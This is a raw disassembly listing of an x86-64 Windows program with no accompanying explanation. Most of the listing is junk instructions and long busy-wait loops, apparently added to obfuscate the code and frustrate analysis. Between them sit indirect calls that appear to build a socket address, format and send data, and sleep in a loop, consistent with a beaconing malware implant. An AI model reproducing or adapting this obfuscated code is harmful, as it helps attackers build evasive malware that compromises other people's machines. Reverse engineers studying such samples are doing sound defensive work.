mov qword [rbp - 0x9c], rdx
mov qword [rbp - 0xd2], rdx
sub r11, 0x765d
add r11, 0xfa3a
mov eax, 0x1cdd
mov r10, qword [0x14000aa48]
lea r9, [rbp - 0x25c]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000292b
inc qword [rsp]
cmp qword [rsp], 0x491a
jle 0x140002927
add rsp, 0x10
mov edx, ecx
mov qword [rbp - 0x1e5], r10
mov r8, qword [rbp - 0x30d]
add qword [rbp - 0x1de], rdx
mov ecx, 0xf841
movzx ecx, ax
and dword [rbp - 0x225], eax
mov qword [rbp - 0x6f], r11
add ecx, dword [rbp - 0x168]
sub r10, qword [rbp - 0x1fa]
sub dword [rbp - 0xa6], edx
mov cx, dx
mov rax, qword [rbp - 0x1d9]
mov qword [rbp - 0x71], r9
mov r8, qword [rbp - 0x29f]
mov qword [rbp - 0x155], rcx
add qword [rbp - 0x2fe], rax
mov r11, qword [rbp - 0x2a0]
mov edx, dword [rbp - 0xa9]
or rax, 0xdb1e
add r11, rcx
leave
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x88]
mov r9d, 0
mov rax, qword [0x14000a930]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x178
add dword [rbp - 0xf7], ecx
mov qword [rbp - 0xc5], r9
mov dword [rbp - 0x90], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002a2f
mov r8, qword [0x14000aa49]
sub qword [rbp - 0x7f], rdx
mov qword [str.Im1xQ26E8y2QsDLqN1yASiNu8ch80U8RX7lFaSXWggmV2MGopOqCPKAnLDrD3LycUTUA1zzvhCxxadNsb3swnYzBXU2s], r8
mov r9, 0xc1a
mov r10, r8
mov eax, dword [rbp - 0xc7]
mov dword [rbp - 0xca], edx
mov qword [rbp - 0xb4], rcx
inc qword [rsp]
cmp qword [rsp], 0xc9c9
jle 0x1400029fc
add rsp, 0x10
lea ecx, [rbp - 0xe2]
sub ecx, edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002b2a
mov dword [0x14000aa41], ecx
mov eax, dword [rbp - 0x14b]
add ecx, eax
mov edx, eax
and r9, qword [rbp - 0x71]
mov eax, dword [0x14000aa47]
mov dword [rbp - 0x1a], eax
sub r10, 0x72a3
mov edx, 0x5e99
add qword [0x14000aa4f], r10
mov dword [rbp - 0x15a], eax
or dword [rbp - 0xec], ecx
mov eax, ecx
movzx eax, ch
mov dword [rbp - 0xa7], ecx
mov dword [rbp - 0x165], ecx
movzx eax, cx
mov dword [rbp - 0x55], eax
mov rax, qword [rbp - 0x140]
mov eax, dword [rbp - 0x118]
movzx ecx, dh
mov qword [rbp - 0xe3], r9
and eax, ecx
and r10, qword [rbp - 0x7f]
add eax, dword [rbp - 0x121]
sub r8, qword [rbp - 0x38]
mov edx, 0x1930
mov ecx, eax
sub ecx, 0x84fb
and dword [rbp - 0xc2], ecx
mov qword [rbp - 0x30], r8
mov edx, dword [rbp - 0xa9]
movzx eax, ch
mov r10, qword [rbp - 0xc6]
mov dword [rbp - 0x9b], ecx
movzx ecx, ah
mov qword [rbp - 0xa1], rdx
mov ecx, dword [rbp - 0x111]
mov r8, rdx
add edx, dword [rbp - 0xc3]
mov qword [0x14000aa47], rax
mov eax, edx
mov r11, qword [rbp - 0xa6]
inc qword [rsp]
mov edx, 0x7865
cmp edx, dword [rsp]
jl 0x140002a56
add rsp, 0x10
mov rax, rcx
mov eax, 0xf74b
mov qword [0x14000aa4e], r9
add r11, r10
mov r11, rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002b6c
xor qword [rbp - 0xc], rcx
mov edx, 0x31ce
inc qword [rsp]
mov r8, 0xf021
cmp qword [rsp], r8
jle 0x140002b5f
add rsp, 0x10
mov qword [rbp - 0xa7], r9
mov r11, rdx
mov ah, byte [rbp - 0xd]
sub rdx, 0x326f
leave
lea rsi, [0x14000a328]
mov r10, qword [rbp + 0x80]
call fcn.140005c58
push r15
push r12
push rsi
push rdi
push rbp
mov rbp, rsp
sub rsp, 0xb8
movzx eax, ah
mov rax, qword [rbp - 0x55]
mov r11, qword [rbp - 0x54]
movzx edi, ch
mov edi, dword [rbp - 0xc]
and r8, 0x8999
mov dword [rbp - 0x7f], edx
mov dword [rbp - 0x7e], esi
mov qword [rbp - 0x60], r9
mov ch, dl
xor edx, esi
movzx edx, cl
xor r9, qword [rbp - 0x4d]
mov dword [rbp - 0x65], eax
and eax, dword [rbp - 0x78]
cmp eax, 0xe6c5d32b
jb 0x140002cd4
mov ecx, dword [rbp - 0x1c]
mov dword [rbp - 0x44], edi
mov edx, dword [0x14000aa47]
mov qword [rbp - 0x71], rsi
and edx, 0x581b
add qword [rbp - 0x76], r11
movzx eax, cl
add r8, 0x1c8
mov esi, dword [rbp - 0xae]
cmp edx, dword [0x14000aa4d]
jno 0x140002c26
mov eax, dword [rbp - 0x60]
mov ecx, dword [rbp - 0x7f]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002cbf
mov rdi, qword [rbp - 0x4c]
mov eax, edi
xor ch, 0xe4
mov dword [rbp - 0x95], esi
lea rcx, [rbp - 0x66]
and dword [0x14000aa48], eax
or eax, edx
mov edx, dword [rbp - 0x79]
add dword [rbp - 0x12], esi
mov r11, qword [rbp - 3]
mov r15, qword [0x14000aa48]
movzx eax, ah
sub edi, esi
or rsi, qword [0x14000aa45]
mov dword [rbp - 0x62], eax
and rax, r8
mov dword [rbp - 0x76], eax
mov rdx, qword [rbp - 0x99]
mov r8, r11
mov ecx, dword [rbp - 0x99]
mov qword [rbp - 0xa9], rsi
mov qword [0x14000aa4e], r15
mov edi, ecx
mov qword [rbp - 0x11], r15
mov qword [rbp - 0x14], rdx
sub rdx, qword [rbp - 0x58]
mov dword [rbp - 0x47], edi
mov qword [rbp - 0x71], r9
mov ecx, dword [rbp - 0x44]
mov word [rbp - 0xa4], ax
inc qword [rsp]
mov r10, 0x7244
cmp qword [rsp], r10
jle 0x140002c3d
add rsp, 0x10
leave
pop rdi
pop rsi
pop r12
pop r15
mov rcx, qword [0x14000a320]
mov rdx, 0xea60
mov rax, qword [0x14000a948]
call rax
push rsi
push rdi
push r14
push r15
push r12
push rbx
push r13
push rbp
mov rbp, rsp
sub rsp, 0x508
mov qword [rbp - 0x30], rdx
mov esi, dword [rbp - 0x23d]
or edx, dword [rbp - 0x15e]
sub edx, dword [rbp - 0x187]
xor dword [rbp - 0x330], ecx
sub rax, qword [rbp - 0x12f]
mov qword [rbp - 0x37e], rcx
cmp r9, rax
jne 0x140002ea3
mov qword [rbp - 0x108], rdx
movzx edi, ah
mov eax, dword [rbp - 0xeb]
sub ebx, eax
mov edi, dword [rbp - 0x81]
mov ecx, ebx
add rdx, 0xc818
and edx, dword [0x14000aa49]
mov rcx, 0xd576
lea rdi, [rbp - 0x171]
movzx edi, bx
mov ebx, dword [0x14000aa45]
mov dword [rbp - 0x12d], esi
mov ebx, edi
mov rdx, r9
lea r14, [rbp - 0x242]
mov eax, 0xdbaa
mov ecx, dword [rbp - 0x3fc]
mov r15, rax
sub eax, edx
movzx esi, bh
xor ebx, dword [rbp - 0x283]
movzx ebx, word [rbp - 0x1ca]
xor r10, rsi
mov rsi, qword [rbp - 0x98]
sub ecx, edi
mov dword [rbp - 0x300], ebx
sub qword [rbp - 0x1e9], r14
mov edi, 0x1395
mov rdi, rax
mov qword [rbp - 0x3f9], r8
mov qword [rbp - 0x491], r8
add esi, 0xbd88
mov r9, qword [rbp - 0x413]
mov dword [rbp - 0x474], edi
sub eax, 0x544f
mov dword [rbp - 0x283], ebx
xor dword [rbp - 0x3b4], esi
mov ebx, 0x437c
mov qword [0x14000aa46], rbx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002e91
mov dword [rbp - 0x201], ecx
mov r12, qword [rbp - 0x23]
add r15, 0xe68e
xor edx, ecx
add r13, r14
mov edx, dword [rbp - 0x1b3]
movzx ecx, cl
movzx ecx, cl
mov r14, r11
add edx, dword [0x14000aa44]
mov qword [rbp - 0x4d2], r9
mov qword [rbp - 0x24e], r14
movzx edx, ah
mov dword [rbp - 0x32c], edx
mov r9, r15
sub r10, qword [rbp - 0x4cc]
mov ebx, eax
mov r11, r12
mov edx, ecx
mov rax, rdx
mov qword [rbp - 0x17b], rbx
add r12, qword [rbp - 0x2d6]
mov dword [rbp - 0x385], ebx
mov rsi, qword [rbp - 0x6e]
mov qword [rbp - 0x139], rdx
inc qword [rsp]
cmp qword [rsp], 0xea03
jle 0x140002e18
add rsp, 0x10
leave
pop r13
pop rbx
pop r12
pop r15
pop r14
pop rdi
pop rsi
mov rcx, 0x4006
mov rax, qword [0x14000a9d8]
call rax
mov qword [0x14000a310], rax
push rsi
push rbx
push r15
push rdi
push r12
push rbp
mov rbp, rsp
sub rsp, 0x4d8
mov qword [rbp - 0x231], rdx
lea rsi, [rbp - 0x41a]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140002f44
movzx ebx, cx
xor qword [rbp - 0x2c0], rsi
mov rdi, rbx
and r12, r11
mov ebx, dword [rbp - 0x438]
mov r15, qword [rbp - 0x4f]
or rax, rbx
add ecx, 0xc6d7
movzx edx, ch
add qword [rbp - 0x263], r12
movzx ebx, ch
mov eax, dword [rbp - 0x8e]
mov esi, edi
lea r11, [rbp - 0x32d]
add edi, dword [rbp - 0x37e]
mov rcx, qword [rbp - 0x183]
inc qword [rsp]
cmp qword [rsp], 0x2e2e
jle 0x140002ef4
add rsp, 0x10
mov ebx, ecx
and esi, edi
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003050
xor rdx, qword [rbp - 0x34]
mov ebx, edx
movzx esi, cl
mov ecx, edx
sub rsi, qword [rbp - 0x4d]
movzx edi, byte [0x14000aa49]
mov rbx, qword [rbp - 0x35d]
movzx eax, bx
mov dword [rbp - 0x368], eax
movzx edx, byte [rbp - 0x4c1]
mov r11, qword [rbp - 0x4bf]
movzx ebx, al
xor edi, dword [rbp - 0x288]
mov rdi, qword [0x14000aa4f]
mov dword [rbp - 0x36b], edx
sub rax, qword [rbp - 0x11b]
mov esi, dword [rbp - 0x33c]
add rdi, qword [rbp - 0x415]
xor edi, dword [rbp - 0x206]
xor dword [rbp - 0x31f], ebx
mov qword [rbp - 0x17e], r8
mov r8, qword [rbp - 0x2a]
add rax, 0x217c
mov edi, dword [rbp - 0x461]
mov r10, rcx
mov qword [rbp - 0x472], rax
mov qword [str.Im1xQ26E8y2QsDLqN1yASiNu8ch80U8RX7lFaSXWggmV2MGopOqCPKAnLDrD3LycUTUA1zzvhCxxadNsb3swnYzBXU2s], r12
add rax, qword [0x14000aa4f]
mov qword [rbp - 0x302], r8
add ebx, 0xc73f
mov rax, rdx
and qword [rbp - 0x4aa], r12
mov r9, 0x9a3d
sub qword [rbp - 0x3ca], r10
add qword [rbp - 0x83], r15
add r8, qword [rbp - 0x195]
mov r11, qword [rbp - 0x1e]
and r11, qword [rbp - 0x2c4]
and rcx, qword [rbp - 0x2a6]
add rdx, qword [rbp - 0x3d3]
inc qword [rsp]
mov r8, 0x324b
cmp qword [rsp], r8
jle 0x140002f67
add rsp, 0x10
leave
pop r12
pop rdi
pop r15
pop rbx
pop rsi
mov rcx, qword [0x14000a310]
mov eax, dword [0x14000a1cc]
mov dword [rcx], eax
mov word [rcx + 4], 2
add rcx, 6
lea rdx, [0x14000a79f]
mov rax, qword [0x14000a9e0]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x448
mov dword [rbp - 0x2a1], eax
sub eax, 0xc9cd
nop
sub rax, 0x228c
mov rdx, qword [rbp - 2]
sub qword [rbp - 0x182], r10
add rax, r11
mov eax, dword [rbp - 0xa]
add qword [rbp - 0x243], r9
mov r9, qword [rbp - 0x9e]
mov eax, dword [rbp - 0x338]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003136
mov edx, dword [0x14000aa44]
mov ecx, 0xe473
mov qword [rbp - 0x46], r11
mov dword [rbp - 0x3b5], eax
mov qword [rbp - 0x307], r8
mov r8, r10
movzx ecx, byte [0x14000aa4a]
mov rcx, qword [0x14000aa46]
sub qword [rbp - 0x36c], rax
movzx edx, byte [rbp - 0x21e]
and dword [rbp - 0x36b], ecx
mov eax, 0x5345
add dword [0x14000aa4d], edx
inc qword [rsp]
cmp qword [rsp], 0x8e2
jle 0x1400030e6
add rsp, 0x10
add rdx, qword [rbp - 0x3ed]
xor qword [rbp - 0x67], rax
mov qword [rbp - 0x74], r11
mov eax, 0x30bb
lea eax, [rbp - 0x1c5]
or r9, qword [0x14000aa49]
lea edx, [rbp - 0x1aa]
sub r11, rcx
mov r9, 0xae92
mov rdx, qword [rbp - 0x3d2]
movzx ecx, cl
mov edx, 0x7e2d
movzx ecx, al
mov edx, dword [rbp - 0x230]
test ecx, 0xde4e9422
je 0x1400031ae
mov r10, rdx
mov r9, qword [rbp - 0x1c9]
add dword [rbp - 0x2e3], edx
add rax, 0x1503
or r11, r9
mov ecx, dword [rbp - 0x11]
mov edx, 0x9e17
mov word [rbp - 0x3fb], dx
movzx eax, byte [rbp - 0x280]
mov qword [rbp - 0x245], r8
mov qword [rbp - 0x21d], rax
movzx ecx, ax
mov r9, rdx
mov rax, qword [rbp - 0xc7]
add edx, dword [rbp - 0x23b]
mov rax, 0x4ed0
mov qword [rbp - 0xd0], rax
mov qword [rbp - 0x255], r8
mov rdx, qword [rbp - 0x3b]
leave
mov rdx, qword [0x14000a310]
add rdx, 0xc
mov rcx, qword [rbp + 0x88]
mov r8, 0x4000
jmp 0x140003502
lea r9, [0x14000a318]
mov qword [rsp + 0x20], 0
mov rax, qword [0x14000a938]
call rax
add qword [0x14000a318], 0xc
push rsi
push r15
push r13
push rbx
push r14
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x128
mov edx, dword [rbp - 0xb1]
mov esi, dword [rbp - 0xaa]
cmp ebx, 0x7d473055
jo 0x14000368c
mov qword [rbp - 0x111], r9
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000359b
mov eax, dword [rbp - 0x4f]
xor edx, dword [0x14000aa42]
mov dword [rbp - 0xf6], edx
mov edx, dword [rbp - 9]
mov r10, r15
add esi, eax
and ecx, dword [rbp - 0x117]
mov dword [rbp - 0x11c], edx
mov rcx, rdx
add r15, 0xec8f
mov ecx, dword [rbp - 0x92]
inc qword [rsp]
cmp qword [rsp], 0xa5e3
jle 0x140003564
add rsp, 0x10
mov qword [rbp - 0x112], r8
mov dword [rbp - 0x92], ebx
sub ebx, dword [rbp - 0x11f]
mov word [rbp - 0x21], ax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003636
mov rbx, 0x5813
mov qword [rbp - 0x111], rbx
xor rax, qword [rbp - 5]
and r9, qword [rbp - 0xbf]
or dword [rbp - 0x29], esi
movzx ecx, cx
lea esi, [rbp - 0xde]
mov esi, dword [0x14000aa46]
lea r14, [rbp - 0xb2]
add ecx, edx
sub rax, rsi
mov qword [rbp - 0x112], r11
mov rdx, qword [rbp - 0x11]
add qword [0x14000aa4f], r8
mov edi, edx
movzx ecx, bh
xor qword [rbp - 0x5f], rdi
add dword [rbp - 0x49], ebx
add r14, qword [rbp - 0x2b]
mov edx, dword [rbp - 0x32]
mov ecx, edx
mov esi, dword [rbp - 0xdd]
inc qword [rsp]
cmp qword [rsp], 0x4b8
jle 0x1400035ce
add rsp, 0x10
mov ebx, dword [rbp - 6]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000367b
add rdx, qword [rbp - 0x85]
add esi, 0x786b
mov qword [rbp - 0xe3], rbx
mov rbx, r15
mov dword [rbp - 0x46], eax
mov di, 0x224a
mov rdi, qword [rbp - 0x1d]
inc qword [rsp]
mov rbx, 0x68f4
cmp qword [rsp], rbx
jle 0x140003655
add rsp, 0x10
leave
pop rdi
pop r14
pop rbx
pop r13
pop r15
pop rsi
lea rbp, [rsp + 0x200]
mov rcx, qword [0x14000a310]
lea rdx, [0x14000a493]
mov rax, qword [0x14000a9f8]
call rax
cmp rax, 0
jne 0x140007367
push rbp
mov rbp, rsp
sub rsp, 0x408
mov r10, qword [rbp - 0x34a]
mov r8, rdx
add edx, dword [rbp - 0x18f]
mov edx, 0x969e
sub ecx, dword [rbp - 0x1b4]
lea rax, [rbp - 0x1b1]
movzx eax, dl
and r9, 0x9413
mov edx, eax
mov qword [rbp - 0x196], rcx
mov r10, rdx
mov r10, r9
mov qword [rbp - 0x1b9], r11
sub qword [rbp - 0x2ab], r10
cmp r11, r10
jne 0x1400037e3
add dword [rbp - 0x1fd], ecx
mov qword [rbp - 0x31f], r10
movzx edx, byte [rbp - 0x360]
mov dword [rbp - 0x83], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000377f
mov rcx, qword [rbp - 0xc8]
mov qword [rbp - 0x298], rcx
mov word [rbp - 0x24c], cx
mov edx, dword [rbp - 0x1f0]
sub dword [0x14000aa4a], ecx
mov edx, ecx
mov eax, ecx
and eax, edx
mov r9, qword [rbp - 0x44]
and eax, dword [0x14000aa4a]
mov eax, dword [rbp - 0x2f4]
inc qword [rsp]
mov r10, 0x7600
cmp qword [rsp], r10
jle 0x140003744
add rsp, 0x10
mov qword [rbp - 0x32], rax
mov r9, qword [rbp - 0x1d9]
add ecx, 0xb60a
movzx ecx, dh
mov r8, 0x4040
mov edx, dword [rbp - 0x3ba]
mov eax, dword [rbp - 0x161]
lea ecx, [rbp - 0x2f3]
movzx eax, byte [0x14000aa4b]
mov qword [rbp - 0x10c], rax
or ecx, dword [rbp - 0x106]
or dword [rbp - 0x2fd], eax
mov dword [rbp - 0x78], eax
add edx, eax
and rcx, 0xf12c
add rax, r8
add edx, dword [0x14000aa42]
movzx edx, ah
mov rdx, r9
lea rdx, [rbp - 0x293]
sub dword [rbp - 0xda], edx
mov r8, qword [0x14000aa43]
mov eax, 0x57d
mov ecx, dword [rbp - 0x2b3]
mov dword [rbp - 0x4b], edx
test dword [0x14000aa4e], edx
jo 0x14000381c
or word [rbp - 0x1d6], ax
or eax, ecx
mov dword [rbp - 0x3b2], ecx
mov qword [rbp - 0x105], r11
lea rcx, [rbp - 0x2b3]
mov ecx, eax
mov edx, dword [rbp - 0x3d4]
movzx edx, al
or ecx, dword [rbp - 0x3ca]
add r10, qword [rbp - 0x16b]
and dword [rbp - 0x3cc], edx
test rdx, 0xffffffffdc3206a4
je 0x1400038a3
mov qword [rbp - 0x4b], r8
mov edx, dword [rbp - 0x378]
mov rdx, r11
mov ecx, dword [0x14000aa42]
mov rcx, qword [rbp - 0x3c0]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003892
mov eax, dword [rbp - 0x88]
inc qword [rsp]
mov rdx, 0xd9ec
cmp qword [rsp], rdx
jle 0x140003888
add rsp, 0x10
leave
mov rdi, qword [0x14000a310]
add rdi, 6
movsxd rsi, dword [0x14000a318]
mov r12, 0x78
call fcn.140005443
mov rcx, 0x3e8
mov rax, qword [0x14000a940]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x4b8
lea ecx, [rbp - 0x267]
mov dword [rbp - 0x3aa], edx
mov ax, cx
and eax, dword [0x14000aa4e]
mov r8, 0x8a50
cmp r8, 0x3199c96d
jne 0x140003999
movzx edx, ax
mov r9, qword [rbp - 0x411]
and rax, r10
sub eax, dword [rbp - 0x179]
mov qword [rbp - 0x46b], r10
cmp r10, 0x6e958fcd
je 0x140003955
lea eax, [0x14000aa47]
mov r9, r10
mov rdx, qword [rbp - 0x292]
or r10, rax
and edx, dword [rbp - 0x3d6]
and qword [rbp - 0x1a], r9
mov edx, dword [rbp - 0x13f]
add eax, 0xc1ab
sub qword [rbp - 0x3b], r9
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000397a
sub dword [0x14000aa4b], edx
mov qword [0x14000aa4f], r10
mov dword [rbp - 0x33a], eax
inc qword [rsp]
cmp qword [rsp], 0x56
jle 0x140003963
add rsp, 0x10
mov rcx, qword [rbp - 0x91]
xor qword [rbp - 0xe], r8
mov edx, eax
mov qword [rbp - 0xbf], rax
mov edx, eax
movzx edx, ax
mov edx, dword [rbp - 0x1fe]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003a0d
mov r9, 0xb285
mov r9, qword [rbp - 0x3c2]
mov eax, dword [rbp - 0xc7]
mov ecx, dword [rbp - 0x8f]
mov dword [rbp - 0x263], eax
mov edx, ecx
and edx, 0xa9c0
movzx edx, al
mov dword [rbp - 0x225], edx
xor r10, qword [rbp - 0x47b]
sub edx, ecx
mov ecx, dword [rbp - 0x40f]
add eax, 0xada
mov cx, dx
mov eax, dword [rbp - 0x2d6]
mov edx, dword [rbp - 0x1ea]
mov dword [rbp - 0x7e], eax
inc qword [rsp]
mov r8, 0x482c
cmp qword [rsp], r8
jle 0x1400039b2
add rsp, 0x10
leave
cmp qword [0x14000a305], 0
je 0x140003a44
mov rcx, qword [0x14000a305]
mov rax, qword [0x14000a9c8]
call rax
mov qword [0x14000a305], 0
cmp qword [str.], 0xffffffffffffffff
je 0x140003bce
jne 0x140003ba3
push rsi
push r12
push rbp
mov rbp, rsp
sub rsp, 0x188
cmp rax, qword [0x14000aa46]
jae 0x140003b90
sub rdx, qword [rbp - 0xe6]
mov edx, ecx
mov rsi, qword [rbp - 0x1a]
add esi, dword [rbp - 0x145]
and qword [rbp - 0xf4], r8
mov dword [0x14000aa4f], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003b43
or esi, dword [rbp - 0xfa]
mov qword [rbp - 0xee], rsi
mov r10, qword [rbp - 0x40]
sub dword [rbp - 0x120], eax
movzx ecx, word [rbp - 0x14b]
mov dword [rbp - 0x38], ecx
add edx, dword [rbp - 0xf0]
mov dword [0x14000aa4f], ecx
and qword [rbp - 0xf5], r10
and qword [rbp - 0x16b], rax
movzx ecx, ah
mov r11, qword [rbp - 6]
mov qword [0x14000aa49], r9
sub ecx, 0x53f2
mov dword [rbp - 0x1c], esi
mov r9, rsi
or esi, 0x954a
mov dword [rbp - 0x179], ecx
mov rsi, 0xa642
mov r12, qword [rbp - 0xc5]
sub esi, 0x60b3
or r9, qword [rbp - 0x132]
mov qword [rbp - 0x95], rsi
or r8, qword [rbp - 0xa2]
mov qword [rbp - 0x36], r9
mov esi, dword [rbp - 0xcd]
mov qword [rbp - 0xed], r8
inc qword [rsp]
mov eax, 0x4a66
cmp eax, dword [rsp]
jl 0x140003aa4
add rsp, 0x10
mov dword [rbp - 0xcb], eax
sub dword [rbp - 0x8d], ecx
mov ecx, dword [rbp - 0xd0]
mov dword [rbp - 0x103], ecx
mov rsi, r8
add esi, dword [rbp - 0x7a]
mov dword [rbp - 0xd9], esi
or esi, ecx
mov qword [rbp - 0xa6], r12
lea rax, [rbp - 0x11c]
mov r10, qword [rbp - 0x12a]
leave
pop r12
pop rsi
ret
mov rcx, qword [str.]
mov rax, qword [0x14000a978]
call rax
mov qword [str.], 0xffffffffffffffff
mov rcx, 0x493e0
mov rax, qword [0x14000a940]
call rax
call 0x1400074e1
cmp rax, 0xffffffffffffffff
je 0x1400038c2
mov qword [str.], rax
push rbp
mov rbp, rsp
sub rsp, 0x348
mov eax, dword [rbp - 0x1f4]
mov r9, qword [rbp - 0x18f]
sub dword [rbp - 0x13e], eax
sub dword [rbp - 0x154], ecx
mov edx, eax
xor rax, qword [rbp - 0xc4]
mov ecx, dword [rbp - 0x157]
mov dword [rbp - 0x1d0], eax
mov qword [rbp - 0xdf], rcx
add dword [rbp - 0x33], eax
add dword [rbp - 0x3d], edx
and eax, dword [rbp - 0xe5]
mov r8, rcx
cmp rcx, qword [0x14000aa48]
jno 0x140003d88
xor eax, edx
mov eax, dword [rbp - 0x26b]
mov dword [rbp - 0x190], eax
xor rdx, rax
mov qword [rbp - 0x7b], rax
mov eax, ecx
and eax, dword [rbp - 0x328]
mov r11, qword [0x14000aa48]
sub r8, r11
mov ecx, dword [rbp - 0x93]
mov eax, dword [rbp - 0x22b]
mov word [rbp - 0x24a], dx
xor rcx, qword [0x14000aa4d]
mov ax, cx
or r10, rcx
mov qword [rbp - 0xff], r11
movzx edx, dl
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003d11
mov eax, dword [rbp - 0x25]
add ecx, dword [rbp - 0x2d0]
sub rax, 0x2276
mov ecx, dword [0x14000aa45]
mov qword [rbp - 0x51], rax
mov edx, dword [rbp - 0x28d]
mov qword [0x14000aa4a], r8
mov r9, qword [rbp - 0x1cf]
add dword [rbp - 0xd2], edx
add rcx, 0x19d2
and r8, qword [rbp - 0xb4]
mov dword [0x14000aa48], ecx
mov dword [rbp - 0x11b], ecx
add rcx, r8
mov qword [rbp - 0x1c3], r8
sub qword [rbp - 0x264], rdx
sub dword [rbp - 0x16c], ecx
mov qword [rbp - 0x1b6], rcx
movzx edx, al
inc qword [rsp]
cmp qword [rsp], 0x84e0
jle 0x140003c9f
add rsp, 0x10
mov rax, qword [rbp - 0x1c8]
mov ecx, dword [rbp - 0x247]
mov dword [rbp - 0x5b], edx
and rcx, r10
mov ecx, dword [rbp - 0x114]
mov rcx, r11
mov ecx, 0xc2e8
sub edx, eax
movzx eax, byte [rbp - 0x170]
sub edx, 0xad1b
mov edx, dword [rbp - 0x1b9]
mov edx, dword [rbp - 0x16c]
mov eax, dword [rbp - 0x1be]
mov r11, qword [0x14000aa47]
mov dword [rbp - 0x16], eax
mov r10, r8
mov qword [rbp - 0x14f], r10
mov edx, dword [rbp - 0x1fb]
mov r8, qword [0x14000aa4a]
mov dword [rbp - 0x10f], ecx
leave
mov rcx, 0x200
add rcx, qword [0x14000a318]
mov rax, qword [0x14000a9d8]
call rax
mov qword [0x14000a255], rax
mov rcx, rax
lea rdx, [0x14000a1db]
mov r8, qword [0x14000a1d3]
mov r9, qword [0x14000a318]
mov rax, qword [0x14000a9e0]
call rax
mov qword [0x14000a25d], rax
mov rcx, qword [0x14000a318]
add qword [0x14000a25d], rcx
mov rcx, qword [0x14000a255]
add rcx, rax
mov rdx, qword [0x14000a310]
mov r8, qword [0x14000a318]
mov rax, qword [0x14000aa00]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x488
lea eax, [rbp - 0x407]
mov rcx, r11
mov rcx, qword [rbp - 0x101]
movzx eax, ah
lea r11, [rbp - 0x1f3]
add rax, qword [rbp - 0x36f]
mov eax, dword [rbp - 0x112]
mov ecx, dword [rbp - 0x31f]
or ecx, eax
mov ecx, edx
mov qword [rbp - 0x5c], r10
mov r8, qword [rbp - 0x1ff]
cmp eax, ecx
jno 0x140003ec7
mov edx, dword [rbp - 0xe9]
mov qword [rbp - 0x1fb], rcx
sub r11, qword [rbp - 0x4c]
add eax, ecx
add qword [rbp - 0x2b], r11
mov qword [rbp - 0x39a], r8
mov dword [rbp - 0x303], ecx
mov qword [rbp - 0x243], rcx
mov qword [rbp - 0xa6], r10
mov eax, dword [rbp - 0x316]
add edx, 0xddee
add r11, 0x6154
mov ecx, dword [rbp - 0x383]
or qword [rbp - 0x347], r10
or ecx, eax
sub rax, 0x1597
mov r10, rcx
mov dx, word [rbp - 0x117]
add ecx, edx
sub qword [rbp - 0x232], r11
mov rax, qword [rbp - 0x124]
and eax, dword [rbp - 0x322]
mov cx, word [rbp - 0x22]
mov rax, qword [rbp - 0x45f]
cmp rdx, r9
je 0x140003ef3
mov dword [0x14000aa46], edx
sub dword [rbp - 0x13e], edx
sub r10, rcx
mov qword [rbp - 0x2c2], rax
mov r8, qword [rbp - 0x301]
mov eax, dword [rbp - 0xd]
mov qword [rbp - 0x405], rax
movzx eax, ah
mov qword [rbp - 0x428], r11
and dword [rbp - 0x2b2], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x140003f40
and r10, qword [rbp - 0x27d]
mov qword [rbp - 0x2ff], r9
mov ecx, edx
mov r11, qword [rbp - 0x31c]
mov rdx, r11
xor rcx, rax
mov qword [rbp - 0x432], rdx
inc qword [rsp]
cmp qword [rsp], 0xaf49
jle 0x140003f18
add rsp, 0x10
leave
mov qword [rbp - 0xbe], 0
mov rcx, qword [str.]
mov rdx, qword [0x14000a255]
mov r8, qword [0x14000a25d]
inc r8
mov r9, 0
mov rax, qword [0x14000a990]
call rax
push rax
push rax
mov rcx, qword [0x14000a255]
mov rax, qword [0x14000a9c8]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x4f8
mov dword [rbp - 0x24f], eax
mov cl, byte [rbp - 0x4c7]
mov dword [rbp - 0x122], edx
mov r8, qword [rbp - 0x299]
mov rcx, qword [rbp - 0x239]
sub eax, 0xf8d9
add rax, qword [rbp - 0x1a3]
movzx eax, cl
lea rax, [rbp - 0x416]
mov ecx, dword [rbp - 0xe6]
mov rcx, qword [rbp - 0x1e6]
mov rcx, qword [rbp - 0x1a7]
sub r8, rdx
sub dword [rbp - 0x382], eax
add dword [rbp - 0x311], edx
mov r9, rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x14000402a
mov qword [rbp - 0x4c3], rcx
mov byte [rbp - 0x3fc], al
mov r11, qword [rbp - 0x41d]
add qword [rbp - 0x24c], r11
or edx, ecx
inc qword [rsp]
mov edx, 0xe08b
cmp edx, dword [rsp]
jl 0x140004009
add rsp, 0x10
mov rax, qword [rbp - 0x42b]
movzx eax, cl
mov ecx, 0xda33
and eax, ecx
sub dx, word [rbp - 0x2dd]
mov ecx, dword [rbp - 0x2f2]
or dword [rbp - 0x2cf], ecx
or r9, qword [rbp - 0x431]
mov qword [rbp - 0x173], r11
mov r11, qword [rbp - 0xcb]
lea eax, [rbp - 0x3e1]
and r9, rcx
and qword [rbp - 0x3c], rdx
mov dword [rbp - 0xde], edx
add r10, rax
mov rdx, qword [rbp - 0x409]
mov rdx, qword [rbp - 0x28f]
